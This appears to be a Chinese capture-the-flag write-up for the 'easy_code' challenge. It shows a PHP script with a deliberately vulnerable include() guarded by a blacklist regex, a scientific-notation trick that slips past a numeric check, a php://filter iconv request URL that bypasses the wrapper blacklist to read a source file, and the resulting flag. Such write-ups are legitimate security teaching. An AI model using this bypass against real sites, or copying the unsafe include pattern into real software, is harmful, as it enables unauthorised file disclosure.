0X01 题目
题目内容:
尝试绕过呢
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$allowedFiles = ['read.php', 'index.php'];
$ctfer = $_GET['ctfer']?? null;
if ($ctfer === null) {
die("error 0!");
}
if (!is_numeric($ctfer)) {
die("error 1!");
}
if ($ctfer!= 667) {
die("error 2!");
}
//溢出
if (strpos(strval($ctfer), '7')!== false) {
die("error 3!");
}
$file = $_GET["file"];
if ($_COOKIE['pass'] == "admin") {
if (isset($file)) {
// 改进的正则表达式,检查是否不存在 base|rot13|input|data|flag|file|base64 字符串
if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {
// 先检查文件是否在允许的列表中
echo"prohibited prohibited!!!!";
} else {
echo"试试read.php";
include($file);
}
}
}
?>
通过代码发现,ctfer参数有4个限制,不能为空,必须是数字或数字字符串,必须等于667,输入不能包括数字7。
这里我们考虑使用科学计数法绕过,667正常表示为6.67e2,但是输入不能存在数字7,就考虑使用6.6699999999999999e2来替代,最多到14位小数,如果后面还有,就自动四舍五入。
6.669999999999999e2
666. 9999999999999
溢出
6.6699999999999999e2
/gogogo.php?ctfer=6.6699999999999999e2&file=php://filter/convert.iconv.utf-8.utf-16/resource=read.php
flag{d91ea23e927b0e2dca64624cf4c867ca}
0X03
原文始发于微信公众号(皓月的笔记本):【靶场合集】CTF-2024春秋杯冬季赛:easy_code
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论